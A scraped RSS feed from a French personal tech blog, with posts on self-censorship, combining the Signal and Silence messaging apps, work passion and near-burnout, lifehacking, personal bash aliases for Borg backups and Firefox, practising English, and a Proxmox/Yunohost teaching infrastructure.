<p>Babozor de la Grotte du Barbu, au sein de ses différentes vidéos, que ce soit celle de la Grotte ou de Barbu Nawak, est dans cette démarche. Partager ce qui marche mais aussi ses erreurs, montrer ce qui ne va pas, quand ça ne va pas. Dire qu'on est dépressif, qu'on se sent seul en tant que père célibataire ayant une enfant entrant dans l'adolescence... Tous ces témoignages permettent à d'autres de s'enrichir, d'apprendre des erreurs, des doutes, des questionnements d'un autre...</p>
<p>Ce partage est pour moi important. Il y a le partage de mes connaissances techniques, mais aussi de mon expérience de vie... Avec le temps j'ai donc de nouveau réfléchi à cette problématique et ma véritable autocensure vient de moi-même. Je ne peux pas et je ne veux pas tout dire : il y a des choses dont j'aurai eu ou aurai besoin de parler mais dont je ne souhaite aucunement laisser une trace numérique (Les paroles s'envolent les écrits restent). Et il y a des choses que je peux assumer, que je veux partager. Et qu'importe que mon employeur le lise. Comme je le dis dans ma conférence, un blog est un espace d'expression personnel, je ne parle pas au nom de mon entreprise. Mon partage de mon expérience au sein de cette dernière est utile pour recruter de nouveaux collaborateurs...</p>
<p>De ce fait, dans les prochains jours, une fois finalisé, je publierai deux billes de réflexions personnels : <i>Tout intellectualiser</i> et <i>Le travail passion</i> <b>TEASER</b>. Ces deux billet seront étroitement liés à un partage d'expérience lié à mon travail au quotidien (le titre du second billet de blog est on ne peut plus explicite), leur publication et leur contenu montreront que non, je ne m'autocensure pas. En tout cas, pas pour tous les sujets ;)</p></div>
		
		


feed_id: https://blog.genma.fr/?Silence-vs-signal-quelle-combinaison
title: Silence vs signal quelle combinaison ?
uri: Silence-vs-signal-quelle-combinaison
url: https://blog.genma.fr/?Silence-vs-signal-quelle-combinaison
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2743.jpg?1521529820' width='150' height='79' />
		<div class='rss_texte'><p>Attention : Silence est une application pour un échange de SMS chiffré. Signal envoie des Messages chiffrés (nécessité de connexion via un serveur), mais permet aussi l'envoi et la réception de SMS classique (passage par les services des opérateurs téléphoniques). Je précise donc bien SMS chiffré ou Message chiffré. Il existe un comparatif détaillé de pourquoi l'un ou l'autre de ces applications pour des échanges chiffrés et la réponse, en résumé est "Ca dépend". Pour le détail et le pourquoi ce <i>Ca dépend</i>, voir <a href="https://blog.genma.fr/?Support-Signal-vs-Silence-Signal-et-Silence" title="Support Signal vs Silence">Support Signal vs Silence</a>.</p>
<p>L'objectif ici est de savoir quelle est la combinaison pour avoir à la fois Silence et Signal sur son smartphone, ne pas avoir à choisir l'un ou l'autre mais pouvoir avoir les deux, pour être joignable via deux canaux de communications chiffrés différents, selon l'exposition / le modèle de menace lié à l'échange en cours (qui a la possibilité de voir les métadonnées de l'échange, voir <a href="https://blog.genma.fr/?Support-Signal-vs-Silence-Signal-et-Silence" title="Support Signal vs Silence">Support Signal vs Silence</a>).</p>
<p><strong>Protocole de test</strong></p>
<p>J'ai deux téléphones, un smartphone personnel et un smartphone professionnel. J'ai donc fait des tests pour déterminer qu'elle était la combinaison gagnante.</p>
<p>Sur le téléphone professionnel, j'ai mis Signal en application SMS par défaut et Silence en application secondaire. Sur le téléphone personnel j'ai mis Silence en application SMS par défaut et Signal en application secondaire.</p>
<p><strong>Envoi de SMS normaux</strong><br class='autobr' />
Les téléphones les reçoivent en clair dans leurs applications SMS par défaut, et ce dans les deux sens (envoi pro vers perso et inversement).</p>
<p>Après activation des canaux de communication chiffré au sein de Silence et au sein de Signal (échanges des clefs entre les deux applications via les numéros des smartphones).</p>
<p><strong>Envoi d'un SMS chiffré depuis Silence du perso vers le pro</strong> : le SMS chiffré arrive dans Signal (application par défaut de SMS) est cryptique / chiffré. En même temps, Silence notifie l'arrivée d'un message et permet de le lire de façon déchiffré.</p>
<p><strong>Envoi d'un SMS chiffré depuis Silence du pro vers le perso</strong> : le SMS chiffré arrive dans l'application par défaut Silence et peut être lu. Signal pourrai ne pas être présent.</p>
<p><strong>Envoi d'un message chiffré depuis Signal du perso vers le pro. Et envoi d'un message chiffré depuis Signal du pro vers le pro</strong></p>
<p>L'application Signal n'est pas l'application SMS par défaut ne change rien. Dans tous les cas, l'envoi et la réception du message chiffré nécessite l'activation de la connexion data - d'une connexion à Internet (Wifi ou 3-4G). L'envoi ne peut se faire en chiffré que via une connexion au serveur de Signal, la réception nécessite une connexion Internet.</p>
<p>Tant que la connexion n'est pas active, on reçoit les SMS normaux dans Signal (si l'application est l'application SMS par défaut) et les messages chiffrés à l'activation d'une connexion à Internet.</p>
<p><strong>Conclusion : la bonne combinaison ?</strong></p>
<p>La bonne combinaison pour avoir Signal & Silence sur son smartphone est donc d'avoir <strong>Signal en application SMS par défaut et Silence en application secondaire</strong>. Il faut garder à l'esprit que pour recevoir des messages chiffrés au sein de Signal, il faut activer la data si on veut être joignable. Signal relèvera les SMS dans tous les cas (SMS classiques et SMS chiffrés), ceux qui sont chiffrés seront aussi lisibles dans Silence en clair.</p></div>
		
		


feed_id: https://blog.genma.fr/?Le-metier-passion
title: Le métier passion
uri: Le-métier-passion
url: https://blog.genma.fr/?Le-metier-passion
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2741.jpg?1521390913' width='150' height='79' />
		<div class='rss_texte'><p>Cela fait un petit moment que je n'ai pas écrit de billet sur mon emploi actuel. Les précédents billets, à savoir <a href="https://blog.genma.fr/?Je-suis-chef-d-equipe-tu-nous-rejoins" title="Mars 2017 : Je suis chef d'équipe ; tu nous rejoins ?">Mars 2017 : Je suis chef d'équipe ; tu nous rejoins ?</a>, <a href="https://blog.genma.fr/?Ou-sont-les-passionne-e-s" title="Mai 2017 : Où sont les passionné.e.s ?">Mai 2017 : Où sont les passionné.e.s ?</a> ou encore <a href="https://blog.genma.fr/?Il-y-a-un-an-Ma-lettre-de-motivation" title="Septembre 2017 : Il y a un an - Ma lettre de motivation">Septembre 2017 : Il y a un an - Ma lettre de motivation</a> sont toujours aussi vrais. J'ai même fait une conférence sur le sujet de mon évolution personnel (<a href="https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme" title="Conférence Du pseudonymat au pseudonyme"> Du pseudonymat au pseudonyme</a>) et de la relation particulière que j'ai avec ma hiérarchie du fait que mon pseudonyme soit connu.</p>
<p><a href="https://blog.genma.fr/?Autocensure-nouvelle-reflexion-sur-le-sujet" title="Autocensure, nouvelle réflexion sur le sujet">Comme je le disais dans mon billet sur l'autocensure</a>, le partage de son expérience et de ses erreurs est important pour éviter à d'autres de faire les mêmes, du moins de pouvoir apprendre de notre propre expérience. Voici donc un billet sur le métier passion et à quel point cela peut devenir problématique...</p>
<p><strong>En un an, d'architecte à directeur d'équipe</strong></p>
<p>Depuis que j'ai découvert Linux et le logiciel libre il y a plus de 15 ans, j'ai rêvé secrètement d'être payé pour ma passion. J'ai toujours été intéressé par le sujet mais je n'avais jamais eu l'occasion de travailler dans le domaine du logiciel libre. En août 2016, <a href="https://blog.genma.fr/?Redefinir-mes-priorites" title="Redéfinir mes priorités">j'ai redéfini mes priorités</a> et j'ai passé mes vacances d'été, soit 3 semaines au rythme à 8h par jour à apprendre à être administrateur système, à monter en compétence sur le sujet, à consolider des connaissances et une expérience de plusieurs années. En <a href="https://blog.genma.fr/?Il-y-a-un-an-demission" title="Octobre 2017 : Il y a un an, démission">Octobre 2016, je posais ma démission</a>. Et je commençais en janvier 2017 avec une mission en tant qu'architecte. J'ai débuté ma nouvelle carrière avec déjà une reconnaissance de mes compétences (le fait de passer de consultant confirmé à architecte). Et en étant déjà dans une phase où j'avais passé des vacances non pas à me reposer mais, d'une certaine façon, <i>à travailler</i>, du moins à faire fonctionner mon intellect des jours durant sans le moindre repos.</p>
<p>A la fin de mes vacances d'été 2017, je rédigeais <a href="https://blog.genma.fr/?Bilan-de-mes-vacances-d-ete" title="Bilan de mes vacances d'été">Bilan de mes vacances d'été</a>. J'y abordais le fait que durant les six premiers mois de mon nouvel emploi, j'avais cherché à trouver un rythme sans vraiment de succès, que la seconde partie de l'année, j'avais des projets plus personnels, qu'il y avait le fait que j'allais me déconnecter un peu le week-end.</p>
<p>Le constat est que cela a été le contraire... En semaine, je suis allé au-delà de ce que l'on attendait de moi. Je me suis impliqué dans différents projets <strong>parce que je le voulais, parce que cela me plaisait</strong>. On en m'a rien demandé, on ne m'a pas forcé. J'ai choisi. Cette implication au quotidien a donné lieu à de la véritable reconnaissance de la part de ma hiérarchie, en me donnant en début d'année 2018, plus de responsabilités que je voulais (Mon profil Linkedin parle pour moi et montre ma progression dans ma carrière et j'en tire un certain plaisir et satisfaction).</p>
<p><strong>Le métier passion</strong></p>
<p>Pourtant, j'ai du me rendre à l'évidence. Mon métier est devenu une passion dévorante. <strong>J'aime ce que je fais. Vraiment</strong>. Chaque jour je me lève content d'aller sur mon lieu de travail. Et le soucis et ce que je n'ai pas vu venir, c'est que ma conscience professionnelle va très probablement au delà de ce qu'elle devrait être, du fait de plusieurs choses.</p>
<p>J'ai vécu une première carrière au sein de la même grande entreprise informatique, dans laquelle je me suis investi et où je n'ai <i>aucune</i> reconnaissance. Manque d'expérience, manque de contact avec ma hiérarchie, manque d'implication. J'ai cherché à faire reconnaître mes connaissances acquises à titre personnel (veille, connaissances et applications dans le domaine du logiciel libre, blog...) sans succès (cf mes billets sur le sujet comme <a href="https://blog.genma.fr/?Outer-mon-hacktivisme" title="Outer mon hacktivisme ?">Outer mon hacktivisme ?</a> et <a href="https://blog.genma.fr/?Du-pseudonymat-au-pseudonyme" title="Du pseudonymat au pseudonyme">Du pseudonymat au pseudonyme</a>), ce qui avait conduit à ma démission et à l'entrée dans ma nouvelle entreprise. Et là, c'est tout le contraire : je fais ce que j'aime, travaille avec des technologies que j'aime sur des sujets que j'aime...</p>
<p>Avant, dans mon ancienne carrière, je <i>pensais savoir ce que je valais</i> et je n'avais jamais eu l'occasion de montrer mes véritables compétences. Avec ma nouvelle carrière, je fais de mon mieux et encore plus je m'implique et la reconnaissance des autres et de ma hiérarchie est là. Et surtout je vois que j'ai regagné en confiance en moi, que mes compétences personnelles étaient bien réelles.</p>
<p>Je connais mes capacités, mais mal mes limites. Et je n'ai cessé de vouloir aller plus loin. J'ai commencé à arriver plus tôt. A partir plus tard. A avancer des sujets le week-end. Parce que j'en avais envie. Parce que ça me plaisait. Parce que le chantier de refonte et de consolidation du système d'information est un chantier de grande ampleur, technique, qui prend plusieurs mois et que j'ai envie d'avancer. Ça me plaît, ça m'intéresse....</p>
<p>Mais quand on commence à se réveiller la nuit et à prendre des notes pour se dire "Je dois faire ça, et si, et ça" et qu'on ajoute des éléments à sa todo-liste de sa journée, cela doit être un signe. Quand on commence à moins dormir, à avoir des insomnies... Non pas à cause de cauchemars, de mal-être ou autre. Mais tout simplement parce que le cerveau ne s'arrête pas. Il réfléchit, avance, se nourrit de la passion. Le déclic aurait dû être quand je, réveillé à 5h du matin, je me suis "de toute façon je ne dors plus, alors autant me lever, partir plus tôt et arriver plus tôt, ou commencer ma journée et partir à la même heure". La fatigue s'est accumulée insidieusement... Mais la stimulation des journées, les cafés, l'excitation et le plaisir de travailler. J'ai compté les heures faites en semaine.... Juste pour voir. Et j'ai tiré plaisir de ce chiffre élevé qui ferait bondir n'importe quel syndicaliste. A côté de ça, je me suis mis une pression personnelle, ai fixé mes propres objectifs et un niveau d'attente et d'exigence tel que je me suis retrouvé à me trouver déborder alors que <i>je suis tellement organisé avec mon lifehacking, ce n'est pas possible</i>... J'ai commencé à tout intellectualiser (le prochain billet sera plus particulièrement sur ce sujet).</p>
<p>A la fin de ma précédente carrière, j'étais en <i>bore-out</i>, sur une mission placard, avec peu d'activité et la déprime, le manque de confiance en moi, l'absence de reconnaissance... Avec mon métier actuel, j'ai donné sans compté, par choix, par plaisir, j'ai parfois fait des sacrifices volontaires sur mon temps personnel, mais comme j'avais et j'ai une réelle reconnaissance, j'ai frôlé le burn-out. Burn-out. Le mot est dit. Je suis passé d'un bore-out il y a un an et demi à un signe annonciateur de burn-out.</p>
<p>Avec des éléments personnels à côté compliqué dont je ne veux pas parler (cf mon billet <a href="https://blog.genma.fr/?Autocensure-nouvelle-reflexion-sur-le-sujet" title="Autocensure, nouvelle réflexion sur le sujet">Autocensure, nouvelle réflexion sur le sujet</a>, j'ai dû prendre du recul. Ce que je fais via la rédaction de ce billet (et d'autres, écrire pour le blog me détend), en prenant du temps pour moi, à regarder des séries et des documentaires sur Netflix, en me changeant les idées et en pensant à autre chose... Je pense que ça ira mieux une fois que j'aurai repris un de ma fatigue cumulé et que j'aurai assimilé le fait que je suis avant tout un humain et non une machine.</p>
<p><strong>En conclusion</strong></p>
<p>Je le redis, j'aime mon métier. Vraiment. Ce n'est pas tous les jours faciles. Mais ça me plaît. Je fais enfin ce que j'aime et ce que, quelque part, j'ai toujours cherché à faire. J'ai enfin trouvé ma voie. Mais je vais travailler sur ma volonté de toujours en faire plus. Je peux en faire un peu plus, mais pas beaucoup plus. Je dois apprendre à compter mes heures, à savoir m'arrêter, à savoir remettre au lendemain ou à déléguer. Ainsi, je continuerai de m'épanouir, mais de façon positive.</p></div>
		
		


feed_id: https://blog.genma.fr/?Tout-intellectualiser
title: Tout intellectualiser
uri: Tout-intellectualiser
url: https://blog.genma.fr/?Tout-intellectualiser
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2742.jpg?1521392851' width='150' height='79' />
		<div class='rss_texte'><p>Deuxième billet de la série que j'évoquais dans mon billet de début de semaine <a href="https://blog.genma.fr/?Autocensure-nouvelle-reflexion-sur-le-sujet" title="Autocensure, nouvelle réflexion sur le sujet">Autocensure, nouvelle réflexion sur le sujet</a> et qui fait suite / vient en complément de mon billet de blog <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a>.</p>
<p><strong>Le lifehacking à l'extrême</strong></p>
<p>En parallèle du <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Métier devenu passion</a>, j'ai, d'une certaine façon, poussé le lifehacking à l'extrême. Et je me suis retrouvé piégé. Dans ce billet, je voudrais témoigner de ça.</p>
<p>Nombreux sont les billets au cours des années écrit sur le Lifehacking avec mes différentes méthodologies. Et parmi toutes ces méthodologiess, il y en a une dans laquelle je me suis retrouver piégé. Comme je l'expliquais dans mon billet <a href="https://blog.genma.fr/?Lifehacking-et-vacances" title="Lifehacking et vacances">Lifehacking et vacances</a>, j'avais mis en place un fichier de suivi de mes pomodoros. Avec le pomodoro, je me suis forcé à faire une chose à la fois.</p>
<p>Cette traçabilité m'a été bien utile quand, pour un projet que j'avais à réaliser en 10 jours et qui avait été réalisé en étant étalé sur plusieurs semaines. Le temps indiqué comme consommé dans l'outil de suivi de l'entreprise ne correspondait pas au temps réellement effectué en cumul. Il me restait une journée de réalisation et cette journée a été utile pour me permettre de finaliser le projet. L'estimation initiale de 10 jours homme s'avérait donc correct. Mais le suivi du temps planifié versus la réalisation avait rencontré une petite erreur que j'ai pu détecté via mon propre fichier de suivi.</p>
<p>Avec mon fichier de suivi des pomodoros, je suis devenu de plus en plus productif. Ce fichier m'a permis de constater ma productivité, mais aussi, ce qui aurait dû m'alarmer, de voir que j'arrivais plus tôt le matin et partait plus tard le soir vu que les pomodoros liés à des tâches associés à mon travail commençait avant mes heures officielles de début de journée.</p>
<p>J'ai compléter ce fichier en y ajoutant une ligne décrivant aussi mon état d'humeur de la journée, pour avoir un suivi de mon humeur (et indirectement de mon état de fatigue au cours du temps). Mais aussi tout un tas de tableau que j'ai qualifié de <i>monitoring</i>, sur le suivi de mes sauvegardes, de mon poids, de la date de dernière tonte du jardin, de l'évolution de la consommation électrique...</p>
<p>Ma volonté de toujours être plus efficace, toujours plus précis, toujours tracer est devenu obsessionnel d'une certaine façon. Je peux dire à quelle saison de quelle série je suis, quel livre j'ai prévu de lire et ceux que j'ai déjà lu, quel film je prévois de voir... J'ai des todo-listes pour tout...</p>
<p><strong>Tout intellectualiser</strong></p>
<p>Comme je le disais dans le titre de ce billet de blog, je me suis mis à tout intellectualiser. Dans ma volonté d'avoir le contrôle sur ma propre vie pour la gérer de façon plus efficace, pour ne pas perdre de temps et que chaque instant soit utile, productif, j'ai commencé à réfléchir à tout. Cette réflexion est passée par le fait de tout prévoir et de tout planifier, de prévoir tous les cas possibles et possibilités, les éventualités, de ne rien laisser au hasard. Associé à une volonté de perfectionnisme, de contrôle, je me suis mis à réfléchir à tout. Et plus rien n'est devenu naturel.</p>
<p>Mais au delà de l'impact que cela a pu avoir sur moi, au delà du contrôle sur ma propre vie il y a eu la volonté de contrôle sur la vie des autres indirectement. Car cela a déteint. Dans la volonté de contrôle permanente des choses, j'en suis arrivé à vouloir que les autres personnes soient impliquées, productives, ne comptent pas leurs heures... Qu'elle se comportent et agissent comme je le fais. Et le fait qu'elles ne le fassent pas m'a fait sentir dépendant d'éléments sur lesquels je ne pouvais pas avoir le contrôle... J'ai commencé à vouloir mener les conversations la je le voulais, pour qu'elles me soient utiles, m'apportent quelque chose. Je suis alors entré dans une forme de manipulation des personnes... d'une certaine façon. Dire ce que la personne a besoin d'entendre, savoir ce que l'on dit. Peu à peu, il n'y a plus de place pour le naturel, pour l'humain. On en devient presque une machine. J'ai repensé à mon billet sur <a href="https://blog.genma.fr/?Reflexions-cyberpunk" title="Réflexions cyberpunk">Réflexions cyberpunk</a>. Ce billet débute sur la notion de testament numérique et continue sur, je me cite <i>Plus j'y pense, et plus je me dis que cette volonté de tracer, de documenter numériquement ce que je fais, de classer ma vie (vu que je fais du lifehacking avec des todo-listes numériques, je m'organise avec un agenda en ligne pour avoir des journées remplies, où je sais ce que je fais et me permettre d'avancer mes différents projets), c'est quelque part une volonté de reprendre le contrôle sur ce corps qui est limité. Mon esprit va vite, va loin, a des limites qui sont imposées par le côté analogique de mon corps, là où le numérique m'offre des perspectives quasi infini...</i></p>
<p>Deux ans après, ces réflexions ont été poussées à l'extrême. Je suis allé dans la continuité de ce que j'avais écris. Le tout avec un <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">un métier passion</a>, cela n'a pas fait bon ménage...</p>
<p><strong>S'en sortir ?</strong></p>
<p>J'avais commencé un long processus de réflexions sur moi-même sur ce sujet en particulier, alors quand j'ai été mis face à l'évidence, cf <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a>, la réflexion était déjà bien entamée et débutée.</p>
<p>Pour m'en sortir, je dois réapprendre à être humain. A vivre à l'instinct. À vivre sans réfléchir et tout prévoir. À improviser. J'ai commencé. J'ai eu ces dernières semaines, des moments très humain et le contraste est d'autant plus grand avec les moments où j'étais à fond dans mon métier au quotidien.</p>
<p>Pour en revenir au lifehacking, son usage doit être en équilibre entre la maîtrise et le contrôle et l'improvisation. Parfois il faut savoir faire l'action dans le moment plutôt que de la planifier, il va parfois plus vite de faire une action et que de la planifier. On retrouve alors un des préceptes de Getting Things Done : faire de suite pour être débarrassé ou repousser et alors on planifie. Mais dans le fait de tracer chaque pomodoro il y a une volonté de maîtrise du temps qui passe. Et là c'est aller trop loin.</p></div>
		
		


feed_id: https://blog.genma.fr/?Lifehacking-avec-les-alias-bash
title: Lifehacking avec les alias bash
uri: Lifehacking-avec-les-alias-bash
url: https://blog.genma.fr/?Lifehacking-avec-les-alias-bash
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2738.jpg?1521290572' width='150' height='79' />
		<div class='rss_texte'><p><strong>Définition des alias bash</strong></p>
<p><i>Les alias permettent de définir des raccourcis pour vos commandes saisies dans en console. Ainsi, une commande fréquente et relativement longue sera rendue accessible en tapant un simple mot clé prédéfini par le système ou que nous aurons créé (raccourcis). <br class='autobr' />
Documentation sur <a href="https://debian-facile.org/doc:programmation:bash:alias" title="Debian Facile - Maîtriser les alias bash">Debian-facile.org et <a href="https://doc.ubuntu-fr.org/alias" title="Ubuntu-fr.org - Les alias bash">sur le site Ubuntu-fr.org</a></p>
<p><strong>Mes alias</strong></p>
<p>Les alias personnels sont donc crées dans le fichier /.bash_aliases</p>
<p>J'ai différents alias repris de tutoriel que l'on peut trouver du type <a href="https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html" title="30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X">les 30 alias bash les plus utiles</a>. Je n'ai gardé que certains qui me sont utiles.</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>alias rm='rm -i' # -i -> demande de confirmation<br /> alias cp='cp -i' # -i -> demande de confirmation<br /> alias mv='mv -i' # -i -> demande de confirmation<br /> <br /> # Alias GREP<br /> alias grep='grep --color=auto'<br /> alias fgrep='fgrep --color=auto'<br /> alias egrep='egrep --color=auto'<br /> <br /> # Alias DU<br /> alias du='du -h --max-depth=1'<br /> alias du+='du -h --max-depth=1 | sort -h -r | less'<br /> alias dusort='du -x --block-size=1048576 | sort -nr'<br /> alias df='df -h'</code></div>
<p>Et j'ai créé les miens. Parmi ceux là, en voici quelques-uns :</p>
<p>J'utilise désormais <a href="https://blog.genma.fr/?Borg-comme-outil-de-sauvegarde" title="Borg comme outil de sauvegarde">Borg comme outil de sauvegarde</a> et du coup je me suis fais des alias pour pouvoir me rendre directement dans le bon dossier, lancer ma sauvegarde de mes Documents avec Borg, faire le ménage...</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># ===========================<br /> # Alias Sauvegardes pour BORG<br /> # ===========================<br /> <br /> alias borgDossier='cd /media/genma/_Stockage/BorgBackup/'<br /> alias borgDocument='borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /home/genma/Documents/'<br /> alias borgPurge='borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-1 .'<br /> alias borgUmount='borg umount /Backup/BorgBackup/MontageBackup'</code></div>
<p>J'utilise différentes version de Firefox et de Thunderbird pour faire de test avec</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># ============================<br /> # Alias Firefox<br /> # ============================<br /> alias firefoxDevelopper='~/LOGICIELS/Firefox_Developper_Edition/firefox -no-remote -p'<br /> alias firefoxNightly='~/LOGICIELS/Firefox_Nigthly/firefox -no-remote -p'<br /> alias firefoxESR='~/LOGICIELS/Firefox_ESR/firefox -no-remote -p'<br /> alias thunderbirdBeta='~/LOGICIELS/thunderbirdBeta/thunderbird -no-remote -p'<br /> alias thunderbirdAlpha='~/LOGICIELS/thunderbirdAlpha/thunderbird -no-remote -p'</code></div>
<p><strong>En quoi est-ce du lifehacking ?</strong></p>
<p>J'utilise de plus en plus le terminal avec comme outil Terminator (un terminal qui permet d'utiliser des onglets, de séparer la fenêtre courante en sous shell...). Et pour être plus efficace pour des commandes que j'ai régulièrement à utiliser, toute commande qui est régulièrement utilisée pour le lancement / redémarrage de service est définie en tant qu'alias... J'envisage de faire un playbook dédié Ansible pour déployer un fichier .bash_alias de référence sur les différentes machines et serveurs sur lesquelles je me connecte régulièrement...</p>
<p>L'avantage des bash_aliases est que je gagne réellement en efficacité. Et c'est en ças que c'est du Lifehacking.</p>
<p>L'inconvénient est que je ne connais pas / plus toutes les options de beaucoup de commandes Shell par coeur...</p></div>
		
		


feed_id: https://blog.genma.fr/?Communiquer-en-anglais
title: Communiquer en anglais
uri: Communiquer-en-anglais
url: https://blog.genma.fr/?Communiquer-en-anglais
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2739.jpg?1521382955' width='150' height='79' />
		<div class='rss_texte'><p>Il y a quelques mois (années), dans le cadre de ma recherche d'un nouvel emploi, j'avais essayé de traduire un article rédigé en français en anglais. L'objectif était de donner plus de visibilité à mon propos. J'avais déjà fait pas mal de traduction dans le sens anglais vers français, soit des versions (avoir appris le latin au collège en faisant une version du texte de la Guerre des Gaules de Jules César a laissé quelques traces dans mon vocabulaire), pour différents projets (EFF, Framasoft). Mais je n'avais jamais vraiment fait l'inverse, soit du thème, ou une traduction du français vers l'anglais. Les quelques retours et critiques constructives de mon texte en anglais (il faudrait te faire relire - aider) m'avait montré que j'avais encore de gros progrès à faire. En effet, le fait de partir sur une traduction d'un billet en français (une traduction qui n'était pas mot à mot mais presque) et non une œuvre originale était le soucis principal : il aurait fallu que je prenne plus soin d'être dans l'adaptation, voir que je réécrive le billet complètement de novo, plutôt que d'être dans une traduction.</p>
<p>Depuis quelques mois, ayant eu à interagir en anglais avec des collaborateurs, j'ai pu constater mes propres progrès dans mon aisance à m'exprimer dans cette langue. Avoir à parler dans une conversation courante en anglais régulièrement permet de se sentir plus à l'aise, de travailler son accent, son vocabulaire, sa réactivité dans les interactions. Chaque jour, ma progression passe également, de façon plus passive, par le visionnage de série en VO ST VO (merci Netflix pour ça) avant de passer à un mode visionnage sans sous-titre.</p>
<p>Je ne suis pas encore en mode publication d'article de blog directement en anglais. Mais je m'entraîne à faire des phrases et traits d'esprit via les réseaux sociaux. Sur Twitter, je fais donc de plus de messages en anglais. L'anglais permet permet des phrases plus longues et d'exprimer plus de choses dans le nombre de caractères impartis. On retrouve l'exercice de choisir ses mots avec soin, de jouer avec la langue, de faire de l'humour dans cette langue. Faire un compte dédié en anglais serait possible mais ce serait chronophage de gérer deux comptes, la majorité de mes abonnés sont des personnes techniques et l'anglais technique est un prérequis et est donc <i>connu</i>, ce qui n'est donc pas un frein à leurs compréhensions. Et pour moi, m'exprimer en anglais régulièrement me permet de m'entraîner dans ce mode d'expression tout en touchant un public plus large (international contrairement à un public francophone).</p>
<p>En parlant de toucher un public plus large, j'ai maintenant pour objectif de pouvoir donner une conférence en anglais à un congrès international. J'ai postulé avec un sujet de conférence lié à mon emploi / l'entreprise pour laquelle je travaille. Si ma candidature / proposition est retenue, j'aurai quelques semaines pour préparer et répéter ma conférence pour qu'elle soit fluide et rodée (ce que je ne fais jamais pour les conférences que je donne en français). Je communiquerai sur le sujet le moment venu.</p></div>
		
		


feed_id: https://blog.genma.fr/?Chatonkademy-Billet-No0-Presentation-du-projet
title: Chatonkademy - Billet N°0 - Présentation du projet
uri: Chatonkademy-Billet-N-0-Présentation-du-projet
url: https://blog.genma.fr/?Chatonkademy-Billet-No0-Presentation-du-projet
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2744.png?1522691210' width='150' height='99' />
		<div class='rss_texte'><p>Dans le cadre du projet d'une école du numérique auquel je participe, <a href="https://blog.genma.fr/?Appel-a-soutiens-pour-l-Openhackademy" title="Appel à soutiens pour l'Openhackademy">l'OpenHackademy</a>, nous (des membres d'une de mes équipes et moi-même) avons été amené à mettre en place l'infrastructure informatique qui sert aux apprenants dans le cadre de leur formation.</p>
<p>Au fur et à mesure, nous documentons tout ça en interne. Comme je me dis que l'expérience peut être utile à d'autres, je débute par le présent billet une une série de billets techniques relatant tout ce que nous avons pu apprendre dans la mise en place de cette infrastructure et son maintien au quotidien, son évolution...</p>
<p>Ce retour d'expérience se basera également sur l'expérience d'autres CHATONS avec lesquels j'ai pu échangé et discuté, venant ainsi compléter si besoin mes propos, proposer d'autres solutions logicielles que celle que j'ai pu mettre en place si il y a lieu, justifiant ainsi les choix techniques réalisés.</p>
<p><strong>Présentation du projet</strong></p>
<p>Pourquoi Chatonkademy ? Ce petit nom n'est autre que la contraction de CHATON et OpenHackademy. Pour l'OpenHackademy je vous renvoie vers <a href="https://blog.genma.fr/?Appel-a-soutiens-pour-l-Openhackademy" title="Appel à soutiens pour l'Openhackademy">>mon billet de blog dédié sur le sujet</a>. Pour les CHATONS, le Collectif des Hébergeurs Alternatifs,Transparents, Ouverts, Neutres et Solidaires, vers le site du projet : <a href="https://chatons.org" title="CHATONS est le Collectif des Hébergeurs Alternatifs,Transparents, Ouverts, Neutres et Solidaires.">https://chatons.org</a></p>
<p>En quelques mots, CHATONS ce sont les AMAP de l'informatique libre. Promouvant le projet au travers mon implication au sein <a href="https://degooglisons-internet.org/" title="Framasoft - Dégooglisons Internet">de l'association Framasoft</a>.</p>
<p><strong>L'infrastructure</strong></p>
<p>L'infrastructure repose sur un hyperviseur tournant sous Proxmox avec une IP fixe (en IPv4) et une IPv6, les différentes problématiques liées à l'usage d'une seule IP publique avec des ports particuliers (web, ssh etc.) seront abordés dans des billets dédiés.</p>
<p><strong>Les machines virtuelles</strong></p>
<p>Chaque étudiant a sa propre machine virtuelle pour son apprentissage. Les machines virtuelles sont gérées par les étudiants qui ont les droits administrateurs sur les machines (via un compte sudoers). Nous avons déployés ces machines sous Debian 9 et nous les avons "ansibelisées" : les playbooks etc. seront mis à disposition dans des billets dédiés. L'intervention sur plusieurs machines à distance en même temps (pour saisir la même commande), la gestion des logs centralisés pour ces différentes machines, leurs sauvegardes etc. Toutes ces problématiques donneront lieu, là encore, droit à des billets dédiés.</p>
<p><strong>Yunohost</strong></p>
<p>Ayant sensibilisé les apprenants au projets aux problématiques tel <i>Le cloud, c'est l'ordinateur d'un autre</i> et à celui de faire de la veille, (voir à ce sujet mon billet <a href="https://blog.genma.fr/?Le-combo-gagnant-pour-optimiser-sa-veille" title="Le combo gagnant pour optimiser sa veille">Le combo gagnant pour optimiser sa veille</a>), j'ai mis en place une instance Yunohost multi-utilisateurs. Je suis administrateur de l'instance, chaque étudiant a son compte sur Yunohost et les applications que je lui mets à disposition.</p>
